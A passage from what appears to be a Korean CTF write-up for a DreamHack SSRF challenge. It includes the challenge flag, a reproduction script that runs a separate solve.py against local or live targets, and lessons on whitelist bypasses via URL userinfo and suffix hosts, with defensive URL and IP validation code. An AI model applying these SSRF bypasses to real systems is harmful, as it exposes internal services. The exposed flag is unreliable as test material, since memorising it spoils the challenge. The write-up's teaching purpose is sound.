DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}

인자를 안 주면 argparse 가 바로 에러를 낸다. 기본 대상 같은 건 두지 않았다 — 로컬 포트를 기본값으로 박아 두면 라이브에서 조용히 엉뚱한 데 쏘게 된다.

재현용으로는 이걸 한 번에 돌리는 스크립트를 따로 뒀다.

#!/usr/bin/env bash
# reproduce.sh — 인자 없으면 로컬 docker 로 체인 검증, 인자를 주면 라이브에서 진짜 flag
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
FLAG_LIVE='DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}'
if [ -f 문제.json ]; then
  FLAG_LIVE=$(python3 -c "import json;print(json.load(open('문제.json')).get('flag',''))" 2>/dev/null || echo "$FLAG_LIVE")
fi
 
if [ $# -ge 1 ]; then
  TARGET="$1"; MODE="live"; EXPECT="$FLAG_LIVE"
else
  echo "[*] 로컬 docker 기동 (Dockerfile.local — buster EOL 이라 archive.debian.org 사용)"
  ./run_local.sh
  TARGET="http://127.0.0.1:18000"; MODE="local"
  EXPECT=$(cat extracted/flag)
fi
 
echo
echo "[*] mode=$MODE  target=$TARGET"
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
 
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && [ "$FLAG" = "$EXPECT" ]; then
  echo
  if [ "$MODE" = local ]; then
    echo "✅ PASS  $FLAG   (동봉된 로컬 flag — 익스 체인 정상. 진짜 flag 는 라이브 서버에서만 나온다)"
  else
    echo "✅ PASS  $FLAG"
  fi
  exit 0
fi
 
echo
echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"
exit 1

로컬 모드의 PASS 는 DH{fake_flag} 를 맞힌 것이다. 진짜 플래그와 대조하려면 라이브 주소를 인자로 넘겨야 한다. 그 구분을 출력에 적어 뒀다.

처음부터 재현하는 순서

배포본만 있으면 아래 넷으로 끝난다. 파일은 전부 문제 폴더 한 곳에 둔다.

단계명령비고
1docker build -f Dockerfile.local -t curling-local .배포 Dockerfile 은 buster EOL 때문에 실패한다
2./run_local.sh컨테이너 8000 → 호스트 18000
3python3 tools_matrix.py http://127.0.0.1:18000어느 관문에서 막히는지 표로 확인
4python3 solve.py <라이브 주소>진짜 플래그. 인자 생략 시 에러

solve.py 에 기본 대상이 없는 게 의도라는 점만 다시 적어 둔다. 로컬 포트를 기본값으로 박아 두면 라이브에서 인자를 깜빡했을 때 "왜 로컬 flag 가 나오지" 하고 한참 헤매게 된다.



📝 결론

화이트리스트는 파싱한 뒤에 비교한다.

이 문제의 첫 구멍은 startswith 다. 호스트를 검사하고 싶었으면 URL 을 파싱해서 host 필드만 꺼내 비교했어야 한다.

from urllib.parse import urlparse
 
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https') or parsed.hostname not in ALLOWED_HOSTS:
    return {'result': False, 'msg': 'Not Allowed host'}

urlparse 의 hostname 은 userinfo 를 떼고 순수 호스트만 돌려준다. 같은 payload 를 넣어도 127.0.0.1 이 나오니 목록에 없어서 걸린다.

접두사·부분 문자열 비교로 도메인을 검사하는 코드는 대부분 같은 문제를 갖는다. @ 말고도 dreamhack.io.attacker.test 처럼 뒤에 붙이는 수법이 늘 따라온다.

차단 목록보다 목적지를 막는 게 낫다.

endswith('/test/internal') 는 특정 경로 하나만 가린 것이다. 경로 표기 방법이 몇 가지인지 다 세어 본 뒤에야 안전한데, 이번에 나온 것만 넷이다.

SSRF 방어의 축은 "무엇을 부르지 못하게 할까"가 아니라 "어디로 나갈 수 있나"다. DNS 로 풀린 주소가 사설 대역·루프백인지 확인하고, 리다이렉트를 따라갈 때마다 다시 확인하는 쪽이 맞다.

두 가지를 합치면 검사부는 대략 이런 모양이 된다.

import ipaddress
import socket
from urllib.parse import urlparse
 
ALLOWED_HOSTS = {'dreamhack.io', 'tools.dreamhack.io'}
 
 
def safe_target(raw: str) -> str:
    parsed = urlparse(raw)
 
    # 1) 스킴·호스트를 파싱해서 본다. 접두사 비교가 아니라 정확히 일치.
    if parsed.scheme not in ('http', 'https'):
        raise ValueError('scheme')
    if parsed.hostname not in ALLOWED_HOSTS:      # userinfo 는 hostname 에 안 들어온다
        raise ValueError('host')
 
    # 2) 실제로 연결될 주소가 내부인지 확인한다. DNS 리바인딩까지 막으려면
    #    여기서 얻은 IP 로 직접 접속하고 Host 헤더만 원래 호스트로 보낸다.
    for family, _, _, _, sockaddr in socket.getaddrinfo(parsed.hostname, None):
        ip = ipaddress.ip_address(sockaddr[0])
        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
            raise ValueError('internal address')
 
    return raw

urlparse 의 hostname 은 userinfo 를 떼고 순수 호스트만 돌려주므로 http://dreamhack.io@127.0.0.1:8000/... 을 넣으면 127.0.0.1 이 나온다. 목록에 없으니 거기서 끝난다.

두 번째 검사가 필요한 이유는 화이트리스트가 있어도 그 도메인이 내부 IP 를 가리킬 수 있어서다. 공격자가 자기 도메인의 A 레코드를 127.0.0.1 로 박아 두는 건 아무 제약이 없다. 이 문제에서는 화이트리스트가 드림핵 도메인이라 해당이 없지만, 실제 서비스에서는 이쪽이 더 자주 터진다.

endswith 로 특정 경로를 가리는 코드는 아예 지우는 게 낫다. 경로를 가려야 할 만큼 민감한 자원이면 그건 요청을 대신 보내 주는 기능이 닿을 수 있는 곳에 두면 안 된다.

소스 IP 는 인증이 아니다.

request.remote_addr == '127.0.0.1' 하나로 플래그를 열어 준 게 마지막 고리였다. 같은 호스트 안에 아웃바운드 요청을 대신 보내 주는 기능이 있으면 이 조건은 언제든 위조된다. 리버스 프록시가 앞에 있으면 헤더 하나로도 흔들린다.

내부 전용 엔드포인트라면 네트워크에서 분리하거나 별도 인증을 붙이는 게 맞다. "로컬에서만 부를 수 있으니까 괜찮다"는 가정이 이 문제의 실질적 취약점이다.

적힌 규칙과 실행되는 규칙은 다르다.

ALLOWED_HOSTS 에는 호스트가 둘 적혀 있지만 검사되는 건 하나다. 들여쓰기 한 칸 때문에 목록의 절반이 죽은 코드가 됐고, 정상 기능인 tools.dreamhack.io 도 같이 막혔다.

보안 코드를 읽을 때 목록의 길이를 규칙의 개수로 믿으면 안 된다는 게 이번에 남은 것이다. 루프 안에서 return 하는 코드는 거의 항상 한 번 더 볼 값이 있다.

환경 차이는 원리로 착각하기 쉽다.

? 우회가 왜 되는지 설명할 때, 처음엔 "curl 이 빈 쿼리를 떼고 보내니까"라고 적을 뻔했다. 내 PC 의 curl 8.14.1 이 그렇게 동작해서다.

문제 컨테이너의 curl 은 7.64.0 이고 ? 를 그대로 보낸다. 그런데도 우회는 된다. 이유가 curl 이 아니라 서버의 요청줄 파싱에 있었기 때문이다. 같은 결과라도 어디서 일어나는 일인지 확인하지 않으면 다음 문제에서 틀린 가정을 들고 가게 된다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥈 Silver 3] 탭 한 글자로 지워진 admin 을 되살린다 — DreamHack My Best Friend 풀이
blog

[🥈 Silver 3] 탭 한 글자로 지워진 admin 을 되살린다 — DreamHack My Best Friend 풀이

인사만 돌려주는 express 서비스가 내부 Private API 를 SSRF 로 호출한다. admin 이라는 문자열과 퍼센트·물음표·샵을 전부 막아 놨지만, 단어 한가운데에 탭 문자를 끼우면 필터는 다른 단어로 보고 통과시키고 axios 가 URL 을 파싱하는 순간 그 탭이 사라지면서 admin 이 되살아난다. express 기본 쿼리 파서가 중복 키를 배열로 묶어 주는 성질까지 얹으면 플래그가 떨어진다.
#dreamhack#ctf#web+6
2026-08-15#dreamhack +5
[🥈 Silver 1] 검사한 파서와 접속한 파서가 다르다 — DreamHack weird legacy 풀이
blog

[🥈 Silver 1] 검사한 파서와 접속한 파서가 다르다 — DreamHack weird legacy 풀이

URL 검사는 WHATWG new URL() 로 하고 실제 요청은 node-fetch@2 의 레거시 url.parse() 가 한다. 두 파서는 호스트명에 허용하는 글자가 달라서, 호스트 뒤에 느낌표 하나를 붙이면 검사는 localhost 로 읽고 접속은 공격자 서버로 간다. FLAG 가 담긴 Cookie 헤더가 통째로 따라온다.
#dreamhack#ctf#web+6
2026-08-07#dreamhack +5
[🥈 Silver 2] 콜론 하나로 빈 호스트를 만들어 file:// 을 통과시킨다 — DreamHack web-HTTP-CLI 풀이
blog

[🥈 Silver 2] 콜론 하나로 빈 호스트를 만들어 file:// 을 통과시킨다 — DreamHack web-HTTP-CLI 풀이

URL 을 받아 대신 긁어다 주는 43줄짜리 TCP 서비스. 호스트 화이트리스트는 눈에 잘 띄는데, 정작 대부분의 시도를 죽이는 건 그 위에 있는 튜플 언패킹이다. netloc 을 콜론으로 쪼갠 결과가 원소 2개가 아니면 검사에 닿기도 전에 ValueError 로 날아간다. netloc 을 콜론 하나로만 채우면 호스트가 빈 문자열이 되고, urllib 은 빈 호스트를 로컬로 보고 파일을 열어 준다.
#dreamhack#ctf#web+6
2026-07-29#dreamhack +5